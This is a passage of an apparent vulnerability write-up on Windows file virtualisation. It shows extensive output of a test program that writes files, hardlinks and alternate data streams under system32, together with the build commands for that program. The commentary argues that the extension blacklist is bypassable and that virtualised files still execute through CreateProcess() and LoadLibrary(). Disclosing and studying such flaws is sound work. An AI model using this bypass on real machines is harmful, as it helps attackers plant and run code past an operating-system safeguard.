'C:\Windows\system32\Quirk49.sct' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.sct' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sct' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.shb' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shb' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shb' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.shb' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shb' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.shs' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shs' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shs' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.shs' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.shs' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.sys' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sys' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sys' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.sys' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.sys' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.tlb' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tlb' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tlb' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.tlb' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tlb' File 'C:\Windows\system32\Quirk49.tmp' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\system32\Quirk49.tmp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.tmp' CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.tmp' LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.tmp' Hardlink 'C:\Windows\system32\Quirk49.tmp' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\system32\Quirk49.tmp' started as process 7860 with primary thread 12028 LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.tmp' DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.tmp' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.tsp' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tsp' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tsp' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.tsp' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.tsp' File 'C:\Windows\system32\Quirk49.ttf' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\system32\Quirk49.ttf' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.ttf' CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.ttf' LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.ttf' Hardlink 'C:\Windows\system32\Quirk49.ttf' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\system32\Quirk49.ttf' started as process 11116 with primary thread 1524 LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.ttf' DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.ttf' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.url' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.url' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.url' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.url' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.url' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.vb' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vb' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vb' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.vb' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vb' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.vbe' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbe' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbe' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.vbe' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbe' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.vbs' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbs' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbs' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.vbs' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.vbs' File 'C:\Windows\system32\Quirk49.wll' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\system32\Quirk49.wll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.wll' CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.wll' LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.wll' Hardlink 'C:\Windows\system32\Quirk49.wll' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\system32\Quirk49.wll' started as process 13928 with primary thread 9784 LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.wll' DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.wll' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.wsc' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsc' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsc' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.wsc' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsc' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.wsf' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsf' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsf' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.wsf' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsf' CreateFile() returned error 5 for file 'C:\Windows\system32\Quirk49.wsh' GetFileAttributes() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsh' CreateProcess() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsh' LoadLibrary() returned error 126 for hardlink 'C:\Windows\system32\Quirk49.wsh' DeleteFile() returned error 2 for hardlink 'C:\Windows\system32\Quirk49.wsh' File 'C:\Windows\system32\Quirk49.xll' has 'FILE_ATTRIBUTE_VIRTUAL' File 'C:\Windows\system32\Quirk49.xll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\SysWOW64\Quirk49.xll' CreateProcess() returned error 193 for file 'C:\Windows\system32\Quirk49.xll' LoadLibrary() returned error 193 for file 'C:\Windows\system32\Quirk49.xll' Hardlink 'C:\Windows\system32\Quirk49.xll' has 'FILE_ATTRIBUTE_VIRTUAL' Hardlink 'C:\Windows\system32\Quirk49.xll' started as process 8184 with primary thread 3232 LoadLibrary() returned error 193 for hardlink 'C:\Windows\system32\Quirk49.xll' DeleteFile() returned error 5 for hardlink 'C:\Windows\system32\Quirk49.xll' 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OOPS: File Virtualisation fails with Win32 error code 5 alias
ERROR_ACCESS_DENIED
at least for the 49 extensions .acm
, .asa
,
.asp
, .ax
, .bat
,
.chm
, .cmd
, .cnt
,
.cnv
, .com
, .cpl
,
.crt
, .dll
, .drv
,
.exe
, .fon
, .hlp
,
.hta
, .ime
, .inf
,
.ins
, .isp
, .its
,
.js
, .jse
, .lnk
,
.msc
, .msi
, .msp
,
.mst
, .mui
, .nls
,
.ocx
, .pif
, .reg
,
.scr
, .sct
, .shb
,
.shs
, .sys
, .tlb
,
.tsp
, .url
, .vb
,
.vbe
, .vbs
, .wsc
,
.wsf
and .wsh
!
Note: I suspect that the developers who built this
list of dangerous
extensions will be surprised to learn that
black listing
is doomed to fail!
OUCH: (intentionally here only) indicated by the
Win32 error code 193 alias
ERROR_BAD_EXE_FORMAT
,
at least the Win32 functions
CreateProcess()
and
LoadLibrary()
load (and execute) virtualised files, independent
of their extension!
OOPS: contrary to the statements cited above, hardlinks of (executable) files can be created with arbitrary extensions!
Oops: access to hardlinks with dangerous
extensions but fails with either the wrong
Win32 error code 2 alias
ERROR_FILE_NOT_FOUND
or the wrong error code 126 alias
ERROR_MOD_NOT_FOUND
instead of the appropriate error code 5 alias
ERROR_ACCESS_DENIED
!
Build the 32-bit console application
quirk49.exe
from the source file
quirk49.c
created in step 1. again, now with the
preprocessor macro ADS
defined:
SET CL=/DADS /GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk49.c kernel32.lib user32.lib/D (Preprocessor Definitions)
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk49.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk49.exe quirk49.obj kernel32.lib user32.lib
Execute the console application quirk49.exe
built in
step 4. to demonstrate the first bug:
.\quirk49.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
CreateDirectory() returned error 267 for directory 'C:\Windows\system32:Quirk49' File 'C:\Windows\system32:Quirk49.acm' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.acm' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.acm' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.acm' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.acm' File 'C:\Windows\system32:Quirk49.asa' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.asa' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.asa' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.asa' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.asa' File 'C:\Windows\system32:Quirk49.asp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.asp' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.asp' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.asp' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.asp' File 'C:\Windows\system32:Quirk49.ax' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ax' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ax' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ax' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ax' File 'C:\Windows\system32:Quirk49.bat' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.bat' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.bat' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.bat' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.bat' File 'C:\Windows\system32:Quirk49.chm' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.chm' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.chm' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.chm' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.chm' File 'C:\Windows\system32:Quirk49.cmd' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.cmd' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.cmd' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.cmd' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.cmd' File 'C:\Windows\system32:Quirk49.cnt' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.cnt' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.cnt' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.cnt' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.cnt' File 'C:\Windows\system32:Quirk49.cnv' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.cnv' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.cnv' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.cnv' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.cnv' File 'C:\Windows\system32:Quirk49.com' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.com' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.com' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.com' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.com' File 'C:\Windows\system32:Quirk49.cpl' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.cpl' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.cpl' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.cpl' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.cpl' File 'C:\Windows\system32:Quirk49.crt' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.crt' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.crt' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.crt' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.crt' File 'C:\Windows\system32:Quirk49.dll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.dll' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.dll' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.dll' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.dll' File 'C:\Windows\system32:Quirk49.drv' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.drv' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.drv' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.drv' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.drv' File 'C:\Windows\system32:Quirk49.efi' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.efi' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.efi' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.efi' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.efi' File 'C:\Windows\system32:Quirk49.exe' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.exe' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.exe' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.exe' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.exe' File 'C:\Windows\system32:Quirk49.fon' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.fon' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.fon' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.fon' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.fon' File 'C:\Windows\system32:Quirk49.hlp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.hlp' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.hlp' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.hlp' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.hlp' File 'C:\Windows\system32:Quirk49.hta' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.hta' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.hta' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.hta' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.hta' File 'C:\Windows\system32:Quirk49.ime' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ime' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ime' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ime' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ime' File 'C:\Windows\system32:Quirk49.inf' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.inf' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.inf' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.inf' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.inf' File 'C:\Windows\system32:Quirk49.ins' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ins' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ins' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ins' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ins' File 'C:\Windows\system32:Quirk49.iso' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.iso' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.iso' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.iso' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.iso' File 'C:\Windows\system32:Quirk49.isp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.isp' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.isp' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.isp' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.isp' File 'C:\Windows\system32:Quirk49.its' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.its' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.its' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.its' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.its' File 'C:\Windows\system32:Quirk49.js' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.js' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.js' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.js' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.js' File 'C:\Windows\system32:Quirk49.jse' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.jse' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.jse' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.jse' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.jse' File 'C:\Windows\system32:Quirk49.lnk' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.lnk' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.lnk' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.lnk' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.lnk' File 'C:\Windows\system32:Quirk49.msc' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.msc' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.msc' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.msc' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.msc' File 'C:\Windows\system32:Quirk49.msi' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.msi' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.msi' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.msi' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.msi' File 'C:\Windows\system32:Quirk49.msp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.msp' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.msp' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.msp' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.msp' File 'C:\Windows\system32:Quirk49.mst' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.mst' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.mst' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.mst' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.mst' File 'C:\Windows\system32:Quirk49.mui' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.mui' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.mui' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.mui' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.mui' File 'C:\Windows\system32:Quirk49.nls' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.nls' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.nls' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.nls' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.nls' File 'C:\Windows\system32:Quirk49.ocx' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ocx' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ocx' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ocx' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ocx' File 'C:\Windows\system32:Quirk49.pif' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.pif' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.pif' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.pif' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.pif' File 'C:\Windows\system32:Quirk49.reg' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.reg' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.reg' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.reg' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.reg' File 'C:\Windows\system32:Quirk49.scr' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.scr' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.scr' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.scr' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.scr' File 'C:\Windows\system32:Quirk49.sct' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.sct' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.sct' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.sct' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.sct' File 'C:\Windows\system32:Quirk49.shb' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.shb' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.shb' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.shb' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.shb' File 'C:\Windows\system32:Quirk49.shs' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.shs' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.shs' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.shs' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.shs' File 'C:\Windows\system32:Quirk49.sys' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.sys' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.sys' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.sys' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.sys' File 'C:\Windows\system32:Quirk49.tlb' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.tlb' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.tlb' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.tlb' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.tlb' File 'C:\Windows\system32:Quirk49.tmp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.tmp' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.tmp' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.tmp' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.tmp' File 'C:\Windows\system32:Quirk49.tsp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.tsp' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.tsp' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.tsp' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.tsp' File 'C:\Windows\system32:Quirk49.tmp' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.ttf' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.ttf' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.ttf' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.ttf' File 'C:\Windows\system32:Quirk49.url' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.url' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.url' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.url' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.url' File 'C:\Windows\system32:Quirk49.vb' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.vb' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.vb' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.vb' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.vb' File 'C:\Windows\system32:Quirk49.vbe' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.vbe' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.vbe' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.vbe' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.vbe' File 'C:\Windows\system32:Quirk49.vbs' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.vbs' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.vbs' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.vbs' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.vbs' File 'C:\Windows\system32:Quirk49.wll' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.wll' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.wll' LoadLibrary() returned error 126 for alternate data stream 'C:\Windows\system32:Quirk49.wll' DeleteFile() returned error 2 for file 'C:\Windows\system32:Quirk49.wll' File 'C:\Windows\system32:Quirk49.wsc' is virtualized to 'C:\Users\Stefan\AppData\Local\VirtualStore\Windows\System32:Quirk49.wsc' CreateProcess() returned error 2 for alternate data stream 'C:\Windows\system32:Quirk49.wsc' 